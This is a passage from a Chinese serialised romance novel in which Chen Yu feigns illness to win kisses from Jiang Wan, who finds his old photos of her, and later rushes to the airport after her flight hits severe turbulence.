吃完饭,陈屿开车带着姜挽来到了小酒长眠的地方。北城地价贵,宠物殡葬可选的地方其实并不多,可即便是在这种情况下,陈屿还是帮小酒选了最合适的一块地。南郊的陵园,有山有水,环境清雅。 “你帮它选的这个地方很好,小酒会喜欢的。”姜挽蹲在地上,轻声开口。 “它要是知道你来看它,也会很开心的。” “差不多了我们就走吧。”陈屿揽着她的肩膀将她扶起来。刚才带她来是为了完成她的夙愿,这会儿带她走,也是为了不让她再继续伤心。 他没其他的想法,一切的出发点都是为她,这来与走之间,也皆是为她考虑。 姜挽点头,转身之际,她最后又看了一眼小酒,突然开口,“一定很难过吧?” “嗯?”陈屿没懂她这句话的意思。 “我说,小酒离开的时候,你一定很难过吧。” 陈屿没想到她指的竟然是这个,霎时间便愣住了。 那段日子,他至今都不愿意再回想。当时小酒的离开相当于斩断了他和她之间的最后一点连接,没人知道他当时到底有多崩溃。 可在她面前,陈屿却不想再提:“还好,”他用这短短两个字概括了当时那段人生至暗的日子,随即话锋一转,来到她身上,“倒是你,不要太伤心了,每个人都有自己的命数,它们也是。” “我知道,我只是觉得自己不好,”姜挽突然开始哽咽,忍到了极致,开口眼圈便开始红了,“对你,对小酒都是。” 陈屿不能看见她苛责自己,即便她当时突然离开的理由他至今都不知道,即便这件事情一直也是他心中的一道阴影,可他还是轻轻抬手,将她揽入怀中:“我相信你肯定已经尽力了,听话,”他帮她擦眼泪,“再这样,以后我可不敢再带你过来了。” 姜挽整理好情绪:“那我们现在是直接去约会吗?” 她虽然这样问,但陈屿看出来她其实是不想去了:“不了,你心情不好,我们直接回家。” “抱歉,我们的第一次约会被我搞砸了。”她又开始道歉了。 陈屿皱眉,语气虽严厉,话语却温柔:“你不用道歉,尤其是在我这,永远都不用。” 回去的一路,天仍阴着,眼见着乌云从天边滚来,颇有一场大雨将至的意思。 果然,还不待他们上车,这雨便淋淋漓漓地开始了。他们下车的时候没带伞,墓地离停车的地方又有段距离,陈屿便将外套脱下来披在姜挽的身上。 姜挽推脱:“不用,这样你会着凉的。” “没事,不用担心我。”陈屿坚持,甚至于在姜挽看不到的地方,他还偷偷把衬衣的扣子也解开了两颗。 第一次约会,他也没想到竟然会以这样的方式收场。可约会没了,并不代表着其他的事情也不能有。 “皇天不负有心人”,刚到家,便如他所期盼的那般,身体开始不舒服了。 咳嗽,鼻塞,头痛,所有感冒发烧的症状,他全部集齐。七分真,三分演的,他在姜挽面前表现得虚弱至极。 姜挽很担心:“你刚才不是还说自己身体好吗,早知道我就不要你的衣服了。” “现在说什么都晚了,”说话间夹杂着咳嗽,陈屿这会儿倒是把姿态放得很低,“我现在有点呼吸困难。” “那我们去医院吧?”姜挽是真的着急了。 偏偏陈屿还是一副气定神闲的表情:“不用,吃点药就行了。” “我担心吃药没用。” “也是,”陈屿佯装思索,“要不你帮我试试人工呼吸?” “什么?”姜挽以为自己听错了。 “人工呼吸。”陈屿面不改色心不跳,甚至语气也比刚才强劲了不少。 姜挽哪里知道他的这些小心思,还以为他是真的不舒服,认真给他解释道:“这是两码事,人工呼吸不是这么用的,你这种情况用了也没效果,要是真不舒服,我们得立马去医院。” 她天生唇色红润,说话时一张一合,陈屿全程盯着,根本没听清她在说什么:“你不试试怎么知道?” 意识到他不是在开玩笑,姜挽是真有点愣住了。如果说刚才她还不明白陈屿的意思,此刻面对他的表情,对上他的眼睛,猛然间,她好像意识到了点其他的东西。 她不相信陈屿会不明白人工呼吸的意思。 也不相信陈屿没听懂她的意思。 厨房突然传来一阵“咕噜咕噜”的声音,是刚才她烧的水开了,姜挽忙趁机离开:“我先去给你准备药。” 再回来,手里端着水,拿着药,她递给陈屿:“先把药吃了吧。” 哪知陈屿却不接,就着她的掌心,顺势将药含进嘴里,仰头喝水,直接咽了。 刹那间,掌心和他的嘴唇相触,划过一阵温暖干燥的感觉,仿佛触电,心尖也随之一阵激荡。 像是石子投入平静的湖面,又仿佛雀鸟振翅落日的山林,心乱了,人也乱了。 陈屿吃完药,也不说话,只默默盯着她。许是真的难受,他脸颊上浮起一层少见的红晕。 “还觉得呼吸困难吗?”姜挽问他。 “你觉得呢?”陈屿声音似有些不满。 “要不,我给你试试人工呼吸?” 姜挽也不知道她是怎么问出这句话的,只知道在说出后,陈屿便一直看着她。她被那眼神看得有些不自在,刚想反悔,下一秒手腕就被拉住,接着跌进了一个温暖的怀抱。 因为发烧,他的体温比她高出不少,姜挽不敢动,只听见他低沉的声音在她耳边盘桓:“头抬起来,你这样,怎么给我做人工呼吸?” 姜挽于是就抬头。 “勾着我的脖子。” 姜挽于是抬手。 “看着我。” 视线对上,姜挽眼底是他漆黑的瞳仁。 “剩下的,你自己来吧。” 姜挽于是踮起脚尖,闭着眼睛,颤着眼睫贴上他的嘴唇,蜻蜓点水的一个吻,简单朝他嘴里渡了口气,很快分开。 “好了。” “就这?”陈屿明显觉得不够,刚才的感觉太好,比亲吻脸颊的时候感觉还要软。 “嗯,人工呼吸就是这样的。” 陈屿低头,眼底墨色浓重:“姜挽,到底是你在追我,还是我在追你?这都不会?”说罢,他直接伸手,一手揽住她的腰,另一只手附上她的后脑勺,快速和她贴近,“我来教你。” 咫尺之间,唇齿相贴。 姜挽还没意识到发生了什么,眼底迷惑,长睫轻颤。 “闭眼。” 他用嘴唇一寸寸描摹她的唇线,接着轻舔啃噬,微小的刺激,暧昧的呢喃:“张嘴。” 一吻结束,姜挽已经完全没有力气了,也不知是惊的,还是害羞,脸贴在他胸口,心咚咚跳。 陈屿没说话,安静搂着她,轻轻摩挲她的脊背以示安抚。 “这不是人工呼吸。”姜挽后知后觉地反应过来。 “嗯,这不是,”陈屿应她,“这是吻。” 姜挽在他怀里,想了想,小声开口:“那这样,是不是就意味着你答应我的追求了?” 陈屿轻笑,揽着她的手收紧几分:“你想得美,你见过有谁追人这么简单的吗?” 姜挽觉得也是,追人这种事,少则数月,多则数年,她这不过才刚刚几天,况且她也没为陈屿做些什么,确实不应该在这个时候就提出这种问题。 “抱歉。” 她是想要为自己刚才的冒失问题道歉的,可陈屿却会错意了:“怎么,你这就打算放弃了?” 他皱眉,突然有点后悔自己刚才的拿乔了,小心翼翼又略带埋怨地开口:“看来你所谓的追我,不过也就是三分钟热度。” “我不是,”姜挽在他怀里抬头,“我很有诚意的,我有时间也有耐心,以后所有的时间和精力都会用在追你上面,你相信我。” 陈屿皱着的眉宇这才舒展开:“行吧,暂且相信你。” 人一放松下来,精神也就跟着松懈了,怎么说也是生病了,还是不如之前正常的时候有精神。 姜挽也注意到了,主动和他提出来:“要不要休息一会儿?” 陈屿原本还有其他的安排,可看着怀里的人,他突然就改变主意了:“也行。” “那我扶你回房间?” “不用,就在这里,就在客厅,”陈屿继续要求,“你在这里陪着我。” “好,我陪着你。” 客厅沙发很大,毛毯抱枕什么的也都有,其实和回卧室睡差不多,姜挽也就同意他在这里睡了。她回房间拿了本书,回来后,靠沙发坐着,安静陪着陈屿。 她看书,他睡觉,周遭静谧,岁月静好。 只是这安静的状态也没持续太久,很快便发生了转变,陈屿没睡着,倒是姜挽先感觉到了困意。 也不知过了多久,她从睡梦中醒来,发现自己正躺在床上。不是客厅,也不是自己的房间,姜挽眨眨眼,那么就只剩一个答案了,这是陈屿的房间。 卧室布局其实和她的房间差不多,不一样的只是设计和装修。还是典型的灰白两色为基调,实木,软皮,低调中又多了几分奢华。 姜挽觉得有点不好意思,本来是陪着他的,没想到人没陪着,自己反而先睡着了。她从床上起来,仔细将被子叠好,打算先出去。 可转身的间隙,却被旁边床头柜上放着的一叠照片吸引。姜挽走近,并非她有意要偷看陈屿的隐私,只是这照片上的人,她再熟悉不过了,正是高中时的她。 一张,两张…… 姜挽从头翻到尾,尽管每张角度不同,地点不同,可唯一不变的是,每一张照片里的人都是她。 而且照片中的场景也不难辨认,就是那年她兼职做导游,陈屿和孟云程来江城的那个寒假。 深吸一口气,又缓缓地吐出来,当时那些觉得奇怪,但又被她忽略的细节,此时就像被线牵引着的珠子一样,每一颗都被穿了起来。 难怪当时不管她什么时候看陈屿,他都举着相机;难怪当时她会发现他的镜头总是对着她;也难怪,她当时想要看一眼照片,却被他径直拒绝。 可那个时候,她明明拒绝他了,是她对他最冷淡的一段时间。 原来,在她不知道的地方,他一直都还在默默用着自己的方式坚持。 姜挽正看着,门外突然传来脚步声,接着房门被推开,陈屿的身影出现在门口。 他看见了,她看他的照片,却什么都没问:“醒了?” “嗯。”姜挽手里还攥着两张照片。 陈屿走过来,从她手里接过照片,和其他的放在一起:“饿了没?”他问她。 姜挽语塞,不仅是针对他这个问题,更多的则是针对他的这些照片。这些年,陈屿默默做的事情,尤伽曾和她说了一些,但还有她不知道的呢? 就比如今天的照片,再比如那天他唱的那首“Strawberries and Cigarettes”,像这样的细节,又还有多少个呢? 每一个细节,都代表着他曾经的一片心意,也代表着千千万万个他独自思念的时刻。 愧疚,后悔,还有类似于着急的情绪一瞬间占满了胸腔,姜挽觉委屈,是替陈屿委屈。 还不完,她真的还不完。 “怎么了?”她一直不说话,陈屿追问。 “这些你怎么不告诉我?”她指指照片。 陈屿伸手揽住她的腰:“都是小事,没必要,”他去碰她那仿佛沾了露水的眼睫,“怎么,心疼我了?” 姜挽点头。 “那不如这样,你亲我一下,就当作补偿了。” 他以为姜挽会迟疑,没想到下一秒她却踮着脚尖凑了上来,好软,还有那股一直让他着迷的清香,只是太短,太快了。 “可以吗?”连声音都是软软的。 “你觉得呢?” 陈屿不想再忍了,话音落,一把将她抱起来放在旁边的桌子上,膝盖挤开她的双腿,整个人站在中间。随即右手托起她的下巴,猛然吻了下去。 比之前的亲吻都要温柔,也比之前的亲吻都要霸道。 啃噬,亲舔,战栗。 占领了她的口腔还不罢休,还要她的舌头,甚至还想往深处再去,深点,再深点。 直到姜挽发出一声“嘤咛”,他才回神来,克制自己和她分开。 一片泛红的眼尾,几乎被他逼得流出了眼泪,微微有些红肿的嘴唇,上面沾了几丝不知他们谁的亮晶晶的津液。 陈屿伸手帮她揩掉,声音沙哑:“不用觉得对我愧疚,也不要把我想得太好,我没你想得那么伟大。” 姜挽还在刚才亲吻的余韵里,听不大懂他的意思,只愣愣点头。 陈屿不能看她这双眼睛,一看,又有新的欲望冒出来,抬手将她的眼睛遮住:“别这么看我,我会忍不住。” “忍不住什么?”姜挽在他手掌的阴影下开口。 “没什么,”陈屿却突然转了话题,“饿不饿?” “有点。” “那先去吃饭,我做了你喜欢的番茄炒蛋。” “你生病了还给我做饭?” “是啊,我生病了还给你做饭,”陈屿轻笑,“可见你这个追求者有多么敷衍,加把劲吧,小姜老师,任重而道远啊。” 刹那间,姜挽微愣:“你叫我什么?” “小姜老师,怎么,不行吗?”陈屿重复。 “可以。”当然可以,默默在心里重复了一遍这个称呼,姜挽不自觉脸红了。 她只是太多年没有听到过这个称呼了,今天被他这么突然一叫,心绪难定。 原来他一直都记得。 第78章 碰碰 陈屿这场病, 断断续续地持续了一周,几乎每天,他都会和姜挽提一次不舒服。 姜挽也不是没建议过让他去医院,可每一次都被他否定, 姜挽无奈, 一边照顾他, 一边还得关心怎样才能让他好受点。 每当这个时候, 陈屿便会提出接吻, 也不知他哪里来的歪理, 说接吻能让他心情变好,有助于他病情的恢复。 姜挽当然没有拒绝他,她发现现在已经没办法拒绝他的任何要求了。就算当时没答应, 在他再一次提出来时, 她也一定会答应。 她在他面前没有原则, 底线也一再被打破, 她不忍心拒绝他的任何一个要求。 就像现在,姜挽明明已经被他吻得头晕目眩了, 可当他再次欺上来时, 她还是不自觉抬高了下巴配合。 可吻着吻着,便感觉到了不对劲, 她这会儿是坐在陈屿腿上的, 感觉就更明显了。 姜挽有点不舒服,微微侧身朝旁边躲了躲, 哪怕她再懵懂, 这会儿也意识到了。 推开陈屿,她脸红得一塌糊涂。 “怎么了?”陈屿声音低哑,和平时很不一样。 “有点不舒服。”姜挽动了动身体。 “嗯?”陈屿像是听到了, 又仿佛没听到,低头,追回来要继续吻。 姜挽躲他,以前不知道也就算了,现在既然知道了,她就没办法再装作若无其事地和他继续。 没吻到,嘴唇蹭在她的耳朵上,陈屿顺势含住:“不用管它,它经常这样,过一会儿就好了。” 姜挽还是介意,小声和他提要求:“你能不能让它变回去?” 她没谈过恋爱,对这方面的事情更是知之甚少,不知道自己此刻一脸天真地和他提出这个要求,在陈屿眼中,简直就是赤裸裸的邀请。 陈屿忍了又忍,才没当场做出什么出格的事情,耐着性子告诉她:“这我做不到,不过或许你有办法。” “真的?什么办法?”姜挽当真了。 “嗯,”喉结上下滚动着,陈屿的声音沙哑得厉害,“不然,你碰碰它?” 姜挽抬眸,眼神湿漉漉的,还带着几分胆怯。像是有些不相信他这句话,也可能是相信了,但实在不知道该怎么做。 “不会?我教你。” 姜挽被他牵着,只一下,便不肯再继续了。 陈屿垂眸看着她,整颗心都要被这密密麻麻的躁动熬热了。可看她又实在是害羞。 最终,他叹了一口气,揽住姜挽,温声道:“别怕,不碰了。” 姜挽点头,她也不是不愿意,只是这东西对她而言实在陌生,她一时还没做好准备。 就在这时,姜挽的手机铃声响了。 电话是沈曼打来的,在看清来电显示后,姜挽的第一反应就是躲。虽说她如今和陈屿的关系已经缓和了许多,可在这件事情上她还是没底气,不知道陈屿的底线在哪,也不知道他究竟能接受多少。 她试图从陈屿腿上起身,却被他拦腰搂住:“就在这里接。” “是我妈妈。”姜挽和他坦白。 “我知道,”陈屿吻了下她的额头,“没关系的,我不介意。” 姜挽这才犹豫着滑开了接听键,可一听到沈曼的声音,她还是下意识地看了眼陈屿,在注意到他神色温和,确实如他所说的那般不介意后,这才和沈曼交谈了起来。 “妈,怎么了?” …… 沈曼打电话来是和她说最近康复中心服务升级的事情,电话里听起来她精神还不错,和姜挽的沟通也很正常。 只是在快结束时,沈曼突然问了一个让她有些难以回答的问题。 “呦呦,你现在在哪儿呢?” 姜挽犹豫了下:“我在家。” “一个人吗?”沈曼又问。 姜挽不知道她这样问是不是察觉到了什么,可隔着电话,她也不大确定沈曼目前的精神状况,也不知道一句话说出去究竟会给她造成什么样的影响,所以,想了想,还是稳妥起见,回了一个“嗯”字。 说完这句,她立马去看陈屿,本以为他会生气,还计划着一会儿再和他解释,却没想到陈屿抬手碰了碰她的脸颊,还用口型告诉她“没事”。 后面沈曼再说什么,姜挽就没一开始那么专心了,她总想着赶紧结束,得快点把这件事和陈屿解释了。好在沈曼后面也没再问什么,只是叮嘱她注意身体之类的。 挂了电话,姜挽第一件事就是看向陈屿,告诉他沈曼问了什么,还解释了她为什么那样回答。 陈屿的反应和刚才一样,眼神温和得仿佛一场连绵的春雨,轻轻柔柔地落在她的脸颊上:“我说了,没事,”但他也追加了一句,“但仅限于这件事上,其他什么乱七八糟的人和事都不行。” 姜挽点头:“你放心吧。” 陈屿把玩着她的手指:“别忘了,现在你还是在追我的阶段,我还没答应。” “我知道的,”姜挽忙和他保证,“其他事情都不会的,只是在我妈这件事上,你知道的,她有些特殊。” “嗯。”听她好几次提到家人,又是如此自然的口吻,陈屿恍惚间竟产生了一种他们已经结婚,此时正在日常谈论家常琐事的错觉。 他自然而然地和她闲聊:“妈还说了什么?” 话音落,姜挽猛地抬眸看他:“你叫我妈什么?” 陈屿这才意识到问题,微愣了下,他刚才完全是下意识的行为,这下被揪出来了,也觉得尴尬,但他当然不会承认:“没什么,你幻听了。” 姜挽觉得大抵也是,要不然她怎么会从陈屿口中听到“妈”这个字,而且还是叫沈曼。 “阿姨还说了什么?”陈屿趁机转移话题。 “她说康复中心最近的设备升级了,工作人员换了一批更专业的,环境也改善了。”说这些的时候,姜挽肉眼可见的开心。 陈屿便也就跟着开心,吻了下她的眼睛,温声道:“阿姨喜欢吗?” “喜欢。” “那挺好的。” “是啊,你不知道……” 提到这些,姜挽其实有很多想说的,以前是没有人能够分享,现在陈屿愿意听她说了,一开口,就有点停不下来的架势。 好一会儿,她才意识到陈屿已经没说话了,只是安静看着她,这才停了下来:“抱歉啊,我是不是有点说多了,其实你要是不喜欢听的话,可以直接打断我。” “不是,”陈屿当然喜欢听了,他只是极少见到她这么开心的一面,舍不得打断罢了,“我在想,有机会的话,我想去见见阿姨。” “你愿意吗?”姜挽不敢相信,其实陈屿能不计较这些,她就已经很感动了,实在不敢再奢求更多,“毕竟当初我妈……” “当然愿意,那是你的妈妈,”陈屿温声打断她,“你不用考虑这些,你只需要想要不要我去,想不想我去,其他的,交给我来安排。” “想的。”姜挽点头,她当然想,只是有些时候有顾虑罢了。 “那好,时间你定好告诉我,其他的我来安排。” 腻在一起的时间,过得总是格外快,不知不觉间已经来到了晚上,关于晚饭的问题,两人一拍即合,打算出去吃。 可去哪,也是一个问题。考虑到陈屿一贯对这些要求都很高,姜挽便拿出手机从附近的高档餐厅里面做筛选。 她这边还在选着呢,陈屿那边就已经有答案了:“就去你以前带我去过的那家‘马大姐家常菜’吧。” 姜挽很惊讶:“你还记得这家?” 陈屿蹙眉:“我又没有失忆,当然记得。” “我不是这个意思,”姜挽忙解释,“只是看你当时的表现,我还以为你不喜欢,这辈子都不会再想去第二次了呢。” 陈屿眉间的褶皱又加深了几分,他是记得他当时不大愿意,但也没到她说的这种程度吧:“破是破了点,但味道还不错,想吃家常菜的话,还是可以去试试的。” 其实还有一个理由他没说,就是在那里,他能感觉到姜挽是真的自在和开心。 “那我现在就给老板娘打电话,”姜挽很高兴,“她们那里很火的,现在这个点去不一定有位置。” 陈屿很配合:“嗯,打吧,要是实在没有,我们可以等会儿。” 姜挽打电话的时候,陈屿就一直看着她,比起以往心事重重,做什么都谨小慎微的样子,他更希望她像现在这样,在他面前可以肆无忌惮地做自己。 老板娘在电话里告诉姜挽,本来是没位置了的,但因为是她,她可以专门腾一间包厢出来。 挂了电话,他们二人简单收拾了下,便驱车前往。此时正值吃饭的时间点,路上来来往往的车辆很多,差不多花了一个小时才到。 还是那条狭窄的居民巷,车开不进去,停在旁边的停车场。小门脸,简单的装修,甚至之前掉了几笔的那个“家”字都还在,一切都和当时一模一样。不同的是陈屿的心境,以往的嫌弃一扫而空,这会儿只觉得亲切。 老板娘出来迎接他们,见到陈屿,倒也没觉得吃惊,一路领着他们进了包间,将最近新出的一款茶给他们泡上了。 “吃点什么?”她笑意盈盈地开口,眼神扫过陈屿,热络地和他打招呼,“小伙子,你和上次来不一样啊。” 陈屿也礼貌微笑:“是吗,您觉得哪里不一样?” “具体我也说不上来,”老板娘有一股市井人特有的爽朗,“不过整体感觉就是不一样,就说你这衣服吧,上次西装革履的,这次倒是随意。虽然我不知道这其中的原因是什么,但整个人的气场变得随和不少。不过说实话,你今天这身休闲的打扮,倒是也很帅。” 陈屿不算是特别会聊天的人,工作中不需要,生活中更是没必要,所以即便面对老板娘这么热情的人,他的话也不多:“谢谢您。” 不过关于老板娘刚才提到的变化,她不知道,陈屿倒是清楚得很。一切都是因为姜挽,这是她熟悉的地方,他自然也就会跟着放松了下来。 老板娘话虽多,但也很有分寸,寒暄几句后也就没再说了,而是转而问他们:“今天你们想吃什么?” 陈屿自然看向姜挽:“她决定。” 姜挽正在看菜单,这会儿也大概有了结论:“粉丝鲜虾煲,芦笋炒鸡丝,荷塘小炒,再加一个鲫鱼汤。” 考虑到陈屿刚好没多久,她点的这几道菜都偏清淡。 老板娘边听边记:“好嘞,老规矩,再送你们凉菜和甜点。” “谢了,”姜挽很自然地和她寒暄,“对了,这些菜里都不要加花生。” “放心吧,”老板娘又给他们添了茶,“你们坐会儿,马上就来。” 老板娘离开后,陈屿看着姜挽:“我说过了,我已经不对花生过敏了,不用这么注意。” “我知道,可多注意点总是没错的。” “你就这么在意我?” “当然了,”姜挽小声念叨,“我不是正在追你嘛,什么都得多注意点。” “那追上以后呢?”陈屿挑眉,“就不在意了?” 姜挽刚喝进去的一口茶差点喷出来:“当然不是了,我会一直在意的。” 这句话,陈屿还算受用:“行吧。” 一顿饭,他们吃的随意又自在,离开的时候,趁着陈屿结账,老板娘把姜挽拉到一边,指了指陈屿:“你们现在这是成了?其实第一次见你们的时候我就知道你们会在一起,现在看来我果然没看错。” 姜挽有些不好意思:“其实我们还没有在一起,是我在追他。” “你追他?”老板娘很吃惊,“可我看他刚才那个样子,眼睛恨不得都贴在你身上,忙前忙后,嘘寒问暖的,你确定没有搞错?是你在追他,不是他在追你吗?” 她这样说,姜挽倒是有些丧气:“真的吗?你这样觉得吗?”她没有其他的想法,只是开始反思自己,是不是她做的还不够到位,连老板娘都看出来了。难怪陈屿之前会说她“想的美”,“差的还远”。 “真的啊,”老板娘也不大懂他们年轻人的想法,只是笑着开口:“反正你俩肯定会在一起的,到时候成了记得还给我报喜啊。” “嗯,借你吉言,我会的。” 因为老板娘的这些话,姜挽一路都有些心不在焉。 陈屿也看出来了,车上,一边帮她系安全带,一边开口:“怎么了?不开心?” “没有,”姜挽情绪不高,转过头来,脸上落着零星几点月色,“你是不是也觉得我追你不够努力?” “怎么突然这么问?”陈屿自己能这样说,却不愿从她口中听到这句话。 “没什么,”姜挽把脸扭了过去,这事好像和他也没有关系,是她自己没做好而已,“我还是自己解决吧。” 陈屿细长有力的指尖托着她的下巴,再一次将她转过来:“到底怎么了,和我说。” 姜挽长睫眨了下:“老板娘说看不出来我在追你。” “哦,”陈屿不觉得这是什么大事,“我看的出来就行。” “可你之前也说过我做的不好,差的远。” “所以,你就因为这个不高兴?” “也没有不高兴,只是在想有没有什么办法,能让大家都知道我在追你。” “为什么?” “既然是我在追你,那我就不想其他人误会,”姜挽认真地和他解释,“我想坦坦荡荡,全心全意地来做这件事。以前的事情我没办法改变,但以后我可以控制,从今天开始,往后的每一天,我都希望你能感受到我的诚意。” 陈屿伸手,碰了碰她的脸颊,语气实在是温柔:“我感受到了。” “还不够,”姜挽坚持,“所以,你有其他的办法推荐吗?” 陈屿启动车子,夜色下,大部分五官都隐匿在黑暗里,唯有一双眼睛,漆黑如深潭。关于这些,他以前还真想过:“登报怎么样?” “这个方法会不会有点不方便,感觉现在大部分人都不看报纸了。” “那就微博买热搜,联系各大记者和公众号。” “这种方法应该很贵吧,我没那么多钱。” 陈屿顿了顿,像是在斟酌,继而开口:“你要是不方便,可以我来做。” “这怎么行,”姜挽果然拒绝,“既然是我在追你,肯定得由我来做,不然就体现不了我的诚意了。” 陈屿其实想说他并不在意这些,可见姜挽认真,也就顺着她,灵光一闪,他突然想起来之前在朋友圈看到过其他人的官宣方式,于是开口:“或许,你可以试试发朋友圈的方式。” 话音落,姜挽侧眸来看他,明显是感兴趣:“这种你能接受吗?” 陈屿很爽快:“我没意见,主要看你。” 一路,姜挽都在思考这条朋友圈应该怎么发。 到家后,她便立马编辑了一条,内容不复杂,字数也不多,主要就是表明她在追陈屿的这件事。 不过,考虑到工作影响,她还是把工作中的同事都屏蔽了。 尤伽看到后,比她这个当事人还激动,一边感叹他们终于要修成正果,一边支持姜挽再主动点。 但是孟云程就不一样了,他的矛头直指陈屿。 陈屿洗完澡出来后,便看到了孟云程发来的微信,第一条是一张截图,截的就是姜挽发的那条朋友圈,紧跟着几个大大的问号,还有一条质问的消息。 【姜挽这条朋友圈是什么意思???你在搞什么???】 陈屿看了眼,淡定回复道:【看不懂中文字吗,她不是说了吗,她在追我。】 很快,孟云程发来一个呕吐的表情包,继续吐槽:【你差不多得了啊,谁不知道你俩之间到底是怎么回事,赶紧见好就收,免得以后有什么变卦,有你难受的。】 陈屿觉得他烦,也觉得他吵,将手机随意扔在桌上后,就去擦头发了。 不过也觉得他说的有道理,暗暗把他这些话记在了心上。 第79章 初次 这两天, 姜挽出差了,陈屿一个人在家。 为了缓解一个人待着的孤独,他特意安排人将房间仔细布置了一番。灯光,鲜花, 还有各种渲染气氛的蜡烛香薰, 一切都按照姜挽的喜好, 就等着回来时给她一个惊喜。 他决定了, 他要在这浪漫下, 接受她的追求。 北城今日有雪, 气温很低,上飞机前,他在微信里叮嘱姜挽:【下飞机了先别出来, 等着我去接你。】 很快, 他收到姜挽的回复:【不用了, 我可以自己打车回去的, 再说了我和其他同事一起呢,不方便。】 被拒绝了, 陈屿有点不高兴, 故意在微信里写道:【那我现在就给其他人安排紧急出差,让他们直接从机场出发, 这样就不会不方便了。】 果然, 没多会儿,姜挽再次回过来:【还是不了, 我晚点出去, 等大家都离开了再走,应该就没事。】 陈屿勾唇:【嗯,别出来, 就在航站楼等着。】 【嗯。】 陈屿这次满意了。 两个小时的飞行时间他嫌久,等待的过程中,习惯性地拿出手机翻看姜挽的图片,有以前的,也有最近趁她不注意时拍的。 他常这样做,无聊的时候,心烦的时候,亦或是思念的时候,一直都是翻看这些照片来缓解的。 可以说,姜挽不在的时候,都是它们陪着他。 正看着,手机里突然弹进来一条通知,是他下载的某飞行APP,专门用来查看姜挽每次出差时的航班情况。 “今日,由川城飞往北城的国航CA8209,在飞行途中因天气原因出现剧烈颠簸,遭遇‘炸弹气旋’。据悉,此气流爆发强,发展快,破坏力巨大,将会带来强烈的暴风雪和降温,对飞行造成较大影响。截至目前暂未出现人员伤亡,具体情况待进一步通知。” 陈屿一眼便认出,这就是姜挽乘坐的那班。 右手一抖,大片热茶泼出来,烫在旁边名贵的字画上,陈屿看都不看,一把推开。 他的第一反应是打电话,可直到电话里传来机械的女声提醒,他才反应过来,这会儿姜挽已经关机了,接不到他的电话。 陈屿承认,他慌了。 那股自重逢后就一直存在的不安情绪迅速在胸腔发酵,像陷入了一张巨大的窒闷的情绪网,让他措手不及,分寸全无。 他不可能,也不会,让她再次离开自己。 陈屿转而去给宋泽宇打电话,电话里告诉他,不管使用什么办法,付出多大的代价,一定要和相关部门取得联系,确保此次航班平稳降落。 宋泽宇的声音听起来有点为难:“陈总,您知道的,和飞行相关的部门一般都比较特殊,沟通起来可能没那么容易。” “公司的资源,我的私人关系,你随便用。”陈屿言简意赅。 这样肯定没问题,可宋泽宇还是不大明白,新闻他也看了,虽说有风险,但以现在的技术,想必最终应该也不会有什么问题。况且类似的事情之前也不是没有发生过,每一次,陈屿都沉着冷静应对了,像一位真正的领导者需要的那样,唯独这次,他着急上头,失了分寸,仿佛那航班上有什么他宝贝珍视的东西。 “您确定吗?”宋泽宇尝试着开口,为了这件事情动用这么大的资源,他总觉得有些不合算,“要不您再等等,这种情况也不是特别……” “不用,你现在立马去办。” 看出他是真着急了,宋泽宇没再多问:“好,我现在就去联系,有结果立马和您汇报。” “嗯。” 挂了电话,陈屿直接开车去机场,一路太过紧张,握着方向盘的掌心好几次都有些打滑。 风驰电掣的一路,陈屿几乎是全程压着绿灯的线在行驶,可真正到了机场,他又有些不敢下车了,恰巧宋泽宇的电话打进来,他立马接起:“情况怎么样?” 宋泽宇也感觉到他的紧张了,先说结论:“您别担心,相关部门已经得到了确切的消息,航班已经安全脱险了,只不过具体的通报还需要一段时间才能出来。” “消息确定准确?” “确定,”宋泽宇继续道,“官方证实的消息,百分百准确,飞机将在半个小时后降落。” “好。”陈屿这才松一口气,可心里的恐惧却并没因此而减少多少,在亲眼见到姜挽,在见到她毫发无损地站在自己面前之前,他根本没办法冷静下来。 “继续沟通,有新的消息,及时告诉我。” “好。” 挂了电话,陈屿直奔航站楼到达层,一路人潮拥挤,嘈杂纷乱,他已经许多年没经历过这样的场景了。可此时位于人群中,却没半点不适应,他的眼里只有航班信息,只在乎三十分钟后的飞机降落。 三十分钟,一千八百秒,以往再平常不过的一个数字,此时在他看来却仿佛一生那么漫长,此生都不想再经历一次。 终于,广播里传来CA8209落地的消息,很快,有乘客接连从出口出来,陈屿快步向前…… 不是她! 这个也不是她!! 怎么还是没有!!! 就在他打算直接去广播找人的时候,人群里却突然出现了一抹熟悉的身影,陈屿压根顾不得任何,径直冲上去,一把抱住了她。 姜挽刚下飞机,其实刚才隔着人群,她也看见陈屿了,毕竟那样的身高外貌摆在那,想一眼不看到都不可能。她没想到他会直接来这里接她,因为还有其他同事,刚想在微信里和他说一声停车场见,他就突然冲了过来。 这样大庭广众之下被他抱着,姜挽很不自在,在他怀里挣扎:“怎么了?” 陈屿不答,只埋头在她颈肩呼吸,紧紧地把她搂近怀里。 有点痛,姜挽挣了挣:“要不你先松开我。” 哪知,陈屿却抱得更用力了,下巴抵着她的肩膀:“别动,让我抱一会儿。” 姜挽敏锐地察觉到他的声音不似以往那般沉稳,身体貌似也有些发抖,越过他的肩膀,她去看,好在其他同事此时已经走远了,她抬手,轻轻环住他的腰侧,大概猜到了一些。 “是不是因为气流的事儿。”老实讲,这种事情她也是第一次遇上,刚才也吓得够呛,现在看到他这样,猜想多半也和这件事有关。 “别担心,我没事。” 陈屿还是没吭声,不过抱着她的手臂却更紧了。 身体贴得更近,心也更近了,在他怀里,姜挽心底柔软得一塌糊涂,“我们先回家吧。” 这次,陈屿终于有反应了:“嗯,先回家。” 话音落,他松开她,从她手里接过行李箱,然后拉着她朝地下停车场走去。 一路,两人都没说话,这沉默的氛围一直延续到了车里,甚至还有回家的路上。 姜挽能感觉到他情绪很不好,到家进门后,刚想安慰他几句,转身的间隙,身体立马被拥进一个温暖的怀抱,接着整个人被调转过来靠在门上,双手被高举过头顶,嘴唇也瞬间覆上来一抹温暖湿润的触感。 一切都发生的太快,姜挽根本来不及思考,等她终于反应过来,想要尝试着跟上他的节奏时,陈屿却突然又变了,一手捏着她的下巴,另一手按住她的后脑勺,唇齿间的厮磨无休无止。 姜挽气息不稳:“……陈屿……” “慢……慢点,我呼吸不过来了。” 陈屿听到了,却依旧没停下。因为只有这样,只有不停地亲她,他才会不再慌乱,那种心脏缺了一块的感觉才会被填满。 最后,他是被推开的。 姜挽喘着气,脸上一片潮红,几缕碎发粘在耳边,和他小声抱怨:“我真的呼吸不了了。” 陈屿看着她,低头又要去吻,被姜挽偏头躲开了:“怎么了?” 陈屿不回答,只是一味地吻她。 嘴唇够不到,就转头去吻她的耳朵。 小巧圆润的耳垂含在嘴里,手上的动作也没停。 